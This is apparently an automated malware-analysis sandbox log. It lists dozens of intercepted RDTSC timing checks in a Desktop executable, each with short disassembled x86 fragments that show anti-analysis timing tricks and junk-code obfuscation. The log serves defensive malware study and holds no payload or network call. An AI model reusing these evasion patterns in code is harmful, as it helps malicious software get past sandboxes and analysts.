Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0A68 second address: 9B0A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0E4D second address: 9B0E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B55CC second address: 9B55E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4585 second address: 9B4589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4589 second address: 9B458F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5797 second address: 9B57A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B57A2 second address: 9B57A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9051 second address: 9B905B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEAC13E5376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B905B second address: 9B906E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FEAC0C35668h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B906E second address: 9B9089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FEAC13E5383h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9089 second address: 9B908F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B908F second address: 9B9095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8484 second address: 9A8499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FEAC0C3566Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD26B second address: 9BD27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEAC13E5376h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD27C second address: 9BD282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD529 second address: 9BD52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD52D second address: 9BD542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEAC0C3566Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C086F second address: 9C0885 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0ADB second address: 9C0AE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C10B3 second address: 9C10B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C10B7 second address: 9C10C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C112B second address: 9C112F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1425 second address: 9C1429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1429 second address: 9C1433 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1433 second address: 9C1437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C16F0 second address: 9C16F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C26BF second address: 9C26C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C421E second address: 9C4222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4222 second address: 9C4228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4228 second address: 9C4288 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FEAC13E5376h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FEAC13E5378h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edi, 237411D1h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+122D2C26h] 0x00000036 xchg eax, ebx 0x00000037 jmp 00007FEAC13E5381h 0x0000003c push eax 0x0000003d pushad 0x0000003e jmp 00007FEAC13E537Fh 0x00000043 push edi 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4D36 second address: 9C4DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jl 00007FEAC0C35666h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FEAC0C35668h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov di, si 0x00000030 jc 00007FEAC0C3567Eh 0x00000036 push edx 0x00000037 jmp 00007FEAC0C35676h 0x0000003c pop esi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ecx 0x00000042 call 00007FEAC0C35668h 0x00000047 pop ecx 0x00000048 mov dword ptr [esp+04h], ecx 0x0000004c add dword ptr [esp+04h], 00000016h 0x00000054 inc ecx 0x00000055 push ecx 0x00000056 ret 0x00000057 pop ecx 0x00000058 ret 0x00000059 push 00000000h 0x0000005b jg 00007FEAC0C35680h 0x00000061 xchg eax, ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FEAC0C3566Ch 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6320 second address: 9C639E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push ecx 0x0000000c jnc 00007FEAC13E537Ch 0x00000012 pop edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FEAC13E5378h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f call 00007FEAC13E5383h 0x00000034 add esi, 02861F38h 0x0000003a pop esi 0x0000003b push 00000000h 0x0000003d mov edi, 54D48BB3h 0x00000042 sub dword ptr [ebp+122D39DEh], eax 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FEAC13E5389h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C55B7 second address: 9C55D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6090 second address: 9C60A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jno 00007FEAC13E5376h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C639E second address: 9C63A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6E82 second address: 9C6E9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEAC13E5381h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6C3F second address: 9C6C49 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6E9E second address: 9C6F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 js 00007FEAC13E5376h 0x0000000d pop ebx 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FEAC13E5378h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a sbb di, 931Dh 0x0000002f mov dword ptr [ebp+12472641h], esi 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007FEAC13E5378h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov edi, 1EC4B224h 0x00000056 push 00000000h 0x00000058 mov esi, 239C1CB6h 0x0000005d xchg eax, ebx 0x0000005e pushad 0x0000005f jnp 00007FEAC13E537Ch 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C771E second address: 9C7722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7722 second address: 9C7726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9691 second address: 9C9695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9695 second address: 9C969F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9D22 second address: 9C9D31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAC89 second address: 9CAC93 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEAC13E5376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBE54 second address: 9CBE59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBE59 second address: 9CBE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEAC13E5385h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDA5A second address: 9CDA60 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDA60 second address: 9CDA87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5388h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jg 00007FEAC13E5376h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFAC4 second address: 9CFAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFAD0 second address: 9CFADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED91 second address: 9CED9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEAC0C35666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0BBB second address: 9D0BC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFC6D second address: 9CFC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2C83 second address: 9D2CFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5386h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FEAC13E5378h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 call 00007FEAC13E5389h 0x0000002a jmp 00007FEAC13E5384h 0x0000002f pop ebx 0x00000030 push 00000000h 0x00000032 sub bh, FFFFFFB9h 0x00000035 push 00000000h 0x00000037 xchg eax, esi 0x00000038 jo 00007FEAC13E5388h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2CFE second address: 9D2D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D02 second address: 9D2D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D06 second address: 9D2D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D12 second address: 9D2D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2EF1 second address: 9D2EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2EF8 second address: 9D2EFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8474 second address: 9D848D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35675h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D848D second address: 9D8497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FEAC13E5376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1E3F second address: 9D1E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1E43 second address: 9D1E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8497 second address: 9D84BD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007FEAC0C35675h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1E49 second address: 9D1E53 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEAC13E537Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D84BD second address: 9D8534 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEAC0C35676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FEAC0C35668h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 and edi, dword ptr [ebp+122D3685h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FEAC0C35668h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FEAC0C3566Ch 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8534 second address: 9D853A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D853A second address: 9D853E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D64EE second address: 9D6596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jo 00007FEAC13E5377h 0x00000010 cmc 0x00000011 mov di, cx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FEAC13E5378h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 adc edi, 475E3FBAh 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov eax, dword ptr [ebp+122D0A85h] 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b call 00007FEAC13E5378h 0x00000050 pop ebx 0x00000051 mov dword ptr [esp+04h], ebx 0x00000055 add dword ptr [esp+04h], 00000018h 0x0000005d inc ebx 0x0000005e push ebx 0x0000005f ret 0x00000060 pop ebx 0x00000061 ret 0x00000062 push FFFFFFFFh 0x00000064 add bl, 00000028h 0x00000067 nop 0x00000068 push esi 0x00000069 jmp 00007FEAC13E5389h 0x0000006e pop esi 0x0000006f push eax 0x00000070 jbe 00007FEAC13E537Eh 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D754E second address: 9D7553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D761D second address: 9D7621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7621 second address: 9D7627 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7627 second address: 9D762D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D94A6 second address: 9D9520 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEAC0C3566Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jnp 00007FEAC0C35668h 0x00000012 pushad 0x00000013 jmp 00007FEAC0C35676h 0x00000018 jnl 00007FEAC0C35666h 0x0000001e popad 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FEAC0C35668h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b mov edi, dword ptr [ebp+122D1AEFh] 0x00000041 push 00000000h 0x00000043 mov edi, 11914010h 0x00000048 push 00000000h 0x0000004a mov dword ptr [ebp+122D2E04h], esi 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FEAC0C3566Ch 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1EF3 second address: 9E1F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FEAC13E537Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2069 second address: 9E206F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E206F second address: 9E208B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E594A second address: 9E5954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEAC0C35666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987391 second address: 987395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987395 second address: 9873A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FEAC0C35666h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9873A5 second address: 9873A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBB21 second address: 9EBB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEAC0C35668h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FEAC0C35673h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
